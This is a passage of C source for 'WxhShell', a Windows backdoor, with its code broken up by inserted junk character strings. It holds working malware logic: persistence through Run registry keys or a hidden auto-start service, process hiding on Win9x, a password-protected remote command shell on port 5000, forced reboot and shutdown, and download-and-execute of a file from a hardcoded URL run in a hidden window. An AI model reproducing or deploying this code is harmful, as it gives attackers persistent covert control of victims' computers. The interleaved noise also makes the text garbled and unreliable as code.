, e > }kZXeR| HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3jHg9M23[^ if(NULL == hInst ) return 0; .bj:tmz q4,/RZhzh g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dXsD%sG@ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M4% 3a j NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (^E5y,H<g G#A6<e/ if (!NtQueryInformationProcess) return 0; 6{yn;D4 _'*(-K5& hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r`<x@, if(!hProcess) return 0; 8q;
aCtei %P:|B:\< if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5hTScnL% oA@c.%& CloseHandle(hProcess); pWP1$;8 <qEBF`XP = hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .K`n;lVs if(hProcess==NULL) return 0; -<M+ $hK\ ^66OzT8A HMODULE hMod; =YD<q:n4 char procName[255]; ukRmjHbLf unsigned long cbNeeded; Mc$rsqDz E[4
vUnm- if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *B9xL[} GK[9IF#_> CloseHandle(hProcess); nq~fH(QY ixE w!t if(strstr(procName,"services")) return 1; // 以服务启动 .L]5,#2([ 15yiDI
o return 0; // 注册表启动 f.uy;v } O\)Kg2 H({m1v ~R // 主模块 S(CVkCP int StartWxhshell(LPSTR lpCmdLine) 'fCSP| { LXPO@2QF SOCKET wsl; 16 \)C/* BOOL val=TRUE; Q>cE G" int port=0; $: |`DCC struct sockaddr_in door; -eIo
7>0u
N| if(wscfg.ws_autoins) Install(); )d2:r 07a 8=zREt<Se port=atoi(lpCmdLine); C[d1n#@r ]>%2,+5 if(port<=0) port=wscfg.ws_port; 3i'01z VL'wrgk WSADATA data; :{B']~Xf if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w0vsdM;G uZ'Z-!=CL if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 5(E&jKn& setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5% }!z~8Y4 door.sin_family = AF_INET; `(=?k[48 door.sin_addr.s_addr = inet_addr("127.0.0.1"); c]bG5 door.sin_port = htons(port); $Sa7N%D OhlK;hvdB* if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {TdxsE> closesocket(wsl); 1LAd5X return 1; "fUNrhCx } 0,Ib74N'w .yFO]
r1aL if(listen(wsl,2) == INVALID_SOCKET) { KWAd~8,mk closesocket(wsl); oe0YxSauL return 1; Z:es7<#y } XXA]ukj;r Wxhshell(wsl); o=K9\ l WSACleanup(); ,np|KoG|M 5FF28C)>/ return 0; 65*Hf3~~ w{So(AF } Q1rEUbvCE '> n&3`r5 // 以NT服务方式启动 hw*u. 46 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [Q J { LZ.Xcy DWORD status = 0; A1`6+8}o;b DWORD specificError = 0xfffffff; lNtxM"G& *::.Uo4O serviceStatus.dwServiceType = SERVICE_WIN32; \okv}x^L=Z serviceStatus.dwCurrentState = SERVICE_START_PENDING; a|.IAxJ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q"GM3? serviceStatus.dwWin32ExitCode = 0; F`2h,i-9 serviceStatus.dwServiceSpecificExitCode = 0; X%kJ3{ serviceStatus.dwCheckPoint = 0; sUK|*y serviceStatus.dwWaitHint = 0; |]k,0Y3v CDsl) hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %e3E}m> if (hServiceStatusHandle==0) return; V0W4M% V\opC6*L_e status = GetLastError(); !$>b}w' if (status!=NO_ERROR) 9!Jt}n?!g { PHY!yc-LjV serviceStatus.dwCurrentState = SERVICE_STOPPED; 4;r,U{uR serviceStatus.dwCheckPoint = 0; 8{ =ha serviceStatus.dwWaitHint = 0; ~(huUW serviceStatus.dwWin32ExitCode = status; lSO$Q]!9 serviceStatus.dwServiceSpecificExitCode = specificError; '
i<4;=M& SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'mTY56Yq return; \ym^~ Q| } M X7Ix{ .Dl ?a>I serviceStatus.dwCurrentState = SERVICE_RUNNING; 3EY
m@oZj serviceStatus.dwCheckPoint = 0; =5V7212 serviceStatus.dwWaitHint = 0; MPy><J if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M_.Jmh<&& } m%>}T75C^ v+`'%E // 处理NT服务事件,比如:启动、停止 R5(([C1 VOID WINAPI NTServiceHandler(DWORD fdwControl) }4H}*P> + { WBkx!{\z switch(fdwControl) r]DU { aR('u:@jHi case SERVICE_CONTROL_STOP: !MOsP<2 serviceStatus.dwWin32ExitCode = 0; zUZET'Bm9 serviceStatus.dwCurrentState = SERVICE_STOPPED; 5>daWmD serviceStatus.dwCheckPoint = 0; T!>h Pg serviceStatus.dwWaitHint = 0; )b>misb/ { A9u>bWIE7 SetServiceStatus(hServiceStatusHandle, &serviceStatus); m)"(S } @G=7A;-pv0 return; kR^h@@'F" case SERVICE_CONTROL_PAUSE: -C}"1|P! serviceStatus.dwCurrentState = SERVICE_PAUSED; ?A_+G 5 break; JX[]u<h? case SERVICE_CONTROL_CONTINUE: (xVx|:R[<H serviceStatus.dwCurrentState = SERVICE_RUNNING; <eS/-W%n6 break; wVnmT94 case SERVICE_CONTROL_INTERROGATE: $C fp1# break; JMo r[* }; (w5cp!qW9J SetServiceStatus(hServiceStatusHandle, &serviceStatus); %N&W_.F6 } ID!S}D <)T~_s // 标准应用程序主函数 _@[W[=|H int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6
R})KIG { J5HK1 !6RDq` // 获取操作系统版本 3&AJN#c OsIsNt=GetOsVer(); Ba|}$jo GetModuleFileName(NULL,ExeFile,MAX_PATH); `BG>%# %O" Whe // 从命令行安装 ,+6u6 if(strpbrk(lpCmdLine,"iI")) Install(); ruB D
^- JJSE@$",\ // 下载执行文件 C58o="L3S if(wscfg.ws_downexe) { j>:N0:
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) nGYimRYO WinExec(wscfg.ws_filenam,SW_HIDE); TNA7(<"fV| } qm:C1#<p
lqJ92vi6Q if(!OsIsNt) { yt5<J-m // 如果时win9x,隐藏进程并且设置为注册表启动 eI2HTFyT HideProc(); 9X;*GC;d StartWxhshell(lpCmdLine); ]H}2|~c } FdzdoMY else 'ROz| iJ if(StartFromService()) ?Z?(ky! // 以服务方式启动 x 4L3Z__ StartServiceCtrlDispatcher(DispatchTable); q{f\_2[ else >(.|oT\Tb // 普通方式启动 =#y;J(>~| StartWxhshell(lpCmdLine); PQSmBTs. KA?%1s(kJ return 0; EK"/4t{L_ } OW\vbWX Bl8|`R^g (B\
UZb ~h
Dp-R; =========================================== aEIz,^3 JJ_Z{ ~S;-sxoO0l Q>Z~={" gH'hA' jI*@&3 " wS#Uw_[ 6fo"k+S #include <stdio.h> w(S~}'Sg*P #include <string.h> iCg%$h #include <windows.h> e"eIQI|N #include <winsock2.h> :}Yk0* #include <winsvc.h> Hv,ll1@h #include <urlmon.h> U), HrI>;
nYZ6'Iwi' #pragma comment (lib, "Ws2_32.lib") Y)5O %@Rl #pragma comment (lib, "urlmon.lib") la-:"gKC *!&?Xy%\"j #define MAX_USER 100 // 最大客户端连接数 ,pGA|ob #define BUF_SOCK 200 // sock buffer 4}/gV) #define KEY_BUFF 255 // 输入 buffer f)z(9JJL E wFq1~ #define REBOOT 0 // 重启 q6C`hVMl #define SHUTDOWN 1 // 关机 z7`|N`$Z#s !<=zFy[J.9 #define DEF_PORT 5000 // 监听端口 *Ic^9njt UhS:tT]7 #define REG_LEN 16 // 注册表键长度 z`E=V #define SVC_LEN 80 // NT服务名长度 K2xHXziQ O(8CrKYY // 从dll定义API ut560,h~ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); } f&=} typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FP=-
jf/ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Er
j{_i?R? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _&V,yp!|
g*YA~J@ // wxhshell配置信息 u$[8Zmgzz struct WSCFG { GEf=A.WAfw int ws_port; // 监听端口 PN]hG,q*4O char ws_passstr[REG_LEN]; // 口令 X coPkW int ws_autoins; // 安装标记, 1=yes 0=no 2!B|w8ar char ws_regname[REG_LEN]; // 注册表键名 Q}lCQK/g char ws_svcname[REG_LEN]; // 服务名 P<vU!`x%q char ws_svcdisp[SVC_LEN]; // 服务显示名 @- |G_BZ char ws_svcdesc[SVC_LEN]; // 服务描述信息 t7x<=rW7u char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U~7udUR int ws_downexe; // 下载执行标记, 1=yes 0=no L@AFt)U char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J.4U;A5 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]9/A=p?J@ 8YlZ({f }; HOWpTu( r1%{\< // default Wxhshell configuration %?gG-R struct WSCFG wscfg={DEF_PORT, a"U3h[;$y "xuhuanlingzhe", -sJD:G,% 1, H<i!C|AF "Wxhshell", E:**gvfq "Wxhshell", 8o%Vn'^t "WxhShell Service", {X(nn.GpC "Wrsky Windows CmdShell Service", @#,/6s7? "Please Input Your Password: ", FD
8Lk 1, g&2g>] "http://www.wrsky.com/wxhshell.exe", L k
nK "Wxhshell.exe" Bt@?l]Y }; zc)nDyn _p0Yhju? // 消息定义模块 4uoZw3O char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QH(&Cu, char *msg_ws_prompt="\n\r? for help\n\r#>"; k $gcQ:| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Sj(>G; char *msg_ws_ext="\n\rExit."; vJ'22)n char *msg_ws_end="\n\rQuit."; -kLBq:M char *msg_ws_boot="\n\rReboot..."; Bv@p9 ]
n char *msg_ws_poff="\n\rShutdown..."; <H60rON char *msg_ws_down="\n\rSave to "; +CBN[/Z^i d>)=| char *msg_ws_err="\n\rErr!"; c{y'&3\
char *msg_ws_ok="\n\rOK!"; |f$+|9Q? a}NB6E)- char ExeFile[MAX_PATH]; !vu-`u~86 int nUser = 0; #
2^H{7 HANDLE handles[MAX_USER]; #`|Nm3b int OsIsNt; V9"R8*@- ig.Z,R3@r SERVICE_STATUS serviceStatus; _%2ukuJ ` SERVICE_STATUS_HANDLE hServiceStatusHandle; &57~i=A
3 R)Mkt8v // 函数声明
O[MFp int Install(void); RNB&!NC
int Uninstall(void); X(BxC<!D. int DownloadFile(char *sURL, SOCKET wsh); nN<,rN{: int Boot(int flag); IWq\M,P void HideProc(void); i&6U5Va,G int GetOsVer(void); \D z? h int Wxhshell(SOCKET wsl); /FXvrH( void TalkWithClient(void *cs); T>nH= int CmdShell(SOCKET sock); 1PdG1' int StartFromService(void); fG>3gS6& int StartWxhshell(LPSTR lpCmdLine); *Ts$Hj[ "QXnE^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \a;xJzc9 VOID WINAPI NTServiceHandler( DWORD fdwControl ); -avxH?;?7 UwS7B~ // 数据结构和表定义 Iga+8k SERVICE_TABLE_ENTRY DispatchTable[] = xgIb6<qwY { aIa<, {wscfg.ws_svcname, NTServiceMain}, '12*'Q+{+ {NULL, NULL} RDDA^U7y# }; uNuFD|aQ. 5Q8 H8!^
// 自我安装 +fboTsp% H int Install(void) AH'c:w]~ { !zOj`lx char svExeFile[MAX_PATH]; D^%IFwU^ HKEY key; X5.9~ strcpy(svExeFile,ExeFile); GBBr[}y- LhAW|]; // 如果是win9x系统,修改注册表设为自启动 yD& Y`f# if(!OsIsNt) { zC)JOykI% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oc,I,v RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l([aKm# RegCloseKey(key); D
)`(b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W3UxFs]$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T:{&eWH RegCloseKey(key); =ZURh_{xV return 0; ]}b } tTTHQ7o*BD } "0PsCr}! } {u
y^Bui} else { b?`2LAgn #|je m // 如果是NT以上系统,安装为系统服务 1gBLJ0q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jcj8w if (schSCManager!=0) N}n3 +F { Co(N8>1 SC_HANDLE schService = CreateService Wm-$l ( %D#&RS schSCManager, <v -YMk@ wscfg.ws_svcname, aG;F=e wscfg.ws_svcdisp, H:hM(m0?q SERVICE_ALL_ACCESS, Dmi.@. SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZHZxr SERVICE_AUTO_START, , 2#Q> SERVICE_ERROR_NORMAL, dO z|CfUhI svExeFile, |z3!3?%R NULL, ,|yscp8 NULL, ;Z0&sFm NULL, O0'|\:my NULL, O6?{@l NULL y{3+Un ); R3og]=uFzm if (schService!=0) AC
<2.i_ { U{ 0~& CloseServiceHandle(schService); a_S`$(7k CloseServiceHandle(schSCManager); &Cj~D$kDEu strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P,m+^, strcat(svExeFile,wscfg.ws_svcname); 5L2j,] if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o>(<:^x9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {"~[F 2qR RegCloseKey(key); K:<Viz return 0; K!ogpd&X& } $#n9C79Z@ } IxUj(l1Fm CloseServiceHandle(schSCManager); 9Cd/SlNV2 } xa'U_]m } V#$QKn`; fgL"\d} return 1; ,sc#l<v } L`<#vi WG A&Lr // 自我卸载 46)[F0,$r int Uninstall(void) C TG^lms { V2?{ebx` HKEY key; V*s\ ~h) nHbi{,3 if(!OsIsNt) { T=pP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (Q||5 RegDeleteValue(key,wscfg.ws_regname); ejR$N!LL RegCloseKey(key); +-;v+{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XQ[\K6X5 RegDeleteValue(key,wscfg.ws_regname); ] H;E(1iU RegCloseKey(key); @BnK C&{ return 0; NVkYm+J# } 6<\dQ+~ } rMJ@oc } ~.^:?yCA else { J&h59dm- Xlug{ Uh SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vgtAJp+p* if (schSCManager!=0) mz1m^p)~{ { AaB1H7r- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ulN1z if (schService!=0) 1t/c@YUTy { xzY/$? if(DeleteService(schService)!=0) { y_[VhZ% CloseServiceHandle(schService); ={cM6F}a@ CloseServiceHandle(schSCManager); CZ]Dm4 return 0; (T2HUmkQ6 } :,p3&2I CloseServiceHandle(schService); j8e=],sQ } y'2w*? CloseServiceHandle(schSCManager); "'``O~08/ } 1r.2bL*~jw } @qcUxu 4 9(HGe+R4o return 1; @+M1M2@Xz } \NDW@!X AX{<d@z`j // 从指定url下载文件 rT;l#<#VE int DownloadFile(char *sURL, SOCKET wsh) Z-CA9&4Uh { -6_<] HRESULT hr; n)a/pO_ char seps[]= "/"; +fozE? char *token; T7ShE-X char *file; In%FOPO char myURL[MAX_PATH]; r`FTiPD.C char myFILE[MAX_PATH]; ?$A)lWk( })@xWU6! strcpy(myURL,sURL); C<:wSS^@1 token=strtok(myURL,seps); 0# 1~'e while(token!=NULL) P;y!Y/$ C { ^=-25%&^ file=token; lws.;abm%n token=strtok(NULL,seps); `r=^{Y } 4?(=?0/[ (K6vXq.;\\ GetCurrentDirectory(MAX_PATH,myFILE); *j,noHUT~> strcat(myFILE, "\\"); N!?~Dgw strcat(myFILE, file); &~.|9P/45 send(wsh,myFILE,strlen(myFILE),0); E 8W*^^z( send(wsh,"...",3,0); UjunIKX+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M^l%*QF[,q if(hr==S_OK) ueW/i return 0; e]!`94f else s]=XAm"4 return 1; 0#yH<h$ ?^-fivzS> } h^IizrqU Qt'3v"S>) // 系统电源模块 2HE<WI^#h int Boot(int flag) X eis_ { [=.iJ5,{2 HANDLE hToken; T[[E )f1[ TOKEN_PRIVILEGES tkp; FR50y+h^$ 9P
<1/W! if(OsIsNt) { Wkb>JnPo OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~9!@BL\ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DD7D&@As tkp.PrivilegeCount = 1; AxJqLSfyb, tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HWou&<EK AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OS
L~a_ if(flag==REBOOT) { Y~( 8<`^ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2"
v{ return 0; <|WXFjn } 33}p02# else { 2}P{7flDY if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~|{e"!(} return 0; 6eB~S)Ko } kJ.7C } HCktgL:E= else { I)%bOK] if(flag==REBOOT) { [ot+EA if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -ImO y| return 0; W>x.*K } XI ><;# else { Bz,Xg-k+ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y>nQ< return 0; 4|jPr J
} 4rCw#mVtB } |l|$Q; :=quCzG return 1; Y.52`s6F } w1F)R^tU |t$%kpp // win9x进程隐藏模块 .ArOZ{lKD> void HideProc(void) 0"sZP\<p { 54]UfmT%I .UK`~17! HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [e|9%[.V if ( hKernel != NULL ) {Aj=Rj@ { JGhK8E
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A i#~Eu* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FhEfW7]0, FreeLibrary(hKernel); [W'2z,S`WD } 'OhGSs| @Ko}Td&E( return; ! v%%_sRV } +WxD=|p; 7/=r- // 获取操作系统版本 [m<8SOMG( int GetOsVer(void) +OInf_O { loyhNT= OSVERSIONINFO winfo; a|dn3R>vX winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +9;6]4 GetVersionEx(&winfo); Ni;jMc if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EUPc+D3 return 1; e/)Vx'd`+ else 1B{u4w7S4e return 0; 7;#o?6!7 } sw(|EZ7F c/-'^+9 // 客户端句柄模块 r/+~4W5
int Wxhshell(SOCKET wsl) );p:[=$71 { @&Af[X4s SOCKET wsh; ){tTB struct sockaddr_in client; i Hcy,PBD DWORD myID; 5cr\ JR 1R.6Xer while(nUser<MAX_USER) #("E)P { }f6_7W%5 int nSize=sizeof(client); *@ S+J$ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SmP&wNHQf if(wsh==INVALID_SOCKET) return 1; @Rqn&tA8 =#I/x=L: handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KW36nY\7 if(handles[nUser]==0) :{#w-oC>6P closesocket(wsh); a0wpsl
iF else vWYU'_= nUser++; jpiBHi]5+ } EBUCG"e WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FbD9G6h5 NrcxuItkYn return 0; t8#u}u } al]-*=v7} Cj6$W5I m // 关闭 socket thh0~g0/ void CloseIt(SOCKET wsh) AHP;N6Y6 { n--s[Kdo8 closesocket(wsh); 7t%
|s!~ nUser--; U,\t2z ExitThread(0); |198A,^ } bqZ5GKUo [_tBv" z // 客户端请求句柄 mw${3j~& void TalkWithClient(void *cs) R6irL!akAd { H7Ee0T(` _GL:4 SOCKET wsh=(SOCKET)cs; `Y<FR char pwd[SVC_LEN]; mx0EEU* char cmd[KEY_BUFF]; 8/CK(G char chr[1]; @B>pPCowa int i,j; GUvEOD=p lM%3 ?~?Q& while (nUser < MAX_USER) { KN\tRE T5TAkEVl if(wscfg.ws_passstr) { +78cQqDY! if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =?1B|hdo //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wvEdZGO8! //ZeroMemory(pwd,KEY_BUFF); :T/I%|;f i=0; _Qf310oONS while(i<SVC_LEN) { V.kf@ Cfst)[j // 设置超时 SOJkeN fd_set FdRead; EUuk%<q7C( struct timeval TimeOut; WQltUaF FD_ZERO(&FdRead); ggzcANCD< FD_SET(wsh,&FdRead); AKUmh TimeOut.tv_sec=8; B d?{ldg TimeOut.tv_usec=0; 3TnrPO1E int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o;{BI
Q1 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5wm(gF_t 6tBe,'* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u'"]{.K>fb pwd=chr[0]; {bO
O?pp if(chr[0]==0xd || chr[0]==0xa) { |Y;[)s =q pwd=0; >B+!fi'SS> break; Uizg.<. } j:'8yFi_ i++; 43BqNQ0 } D'\gy$9m1 GNI:k{H@"? // 如果是非法用户,关闭 socket Ou2p^:C( if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6fw2;$x" } F+m;y -h,?_d> send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e6I7N?j send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !TPKD ee
.,D while(1) { 2$yNryd LCemM; o ZeroMemory(cmd,KEY_BUFF); L-Pq/x2r )s>R~7 // 自动支持客户端 telnet标准 *f3?0w j=0; 3V0^v while(j<KEY_BUFF) { :$& |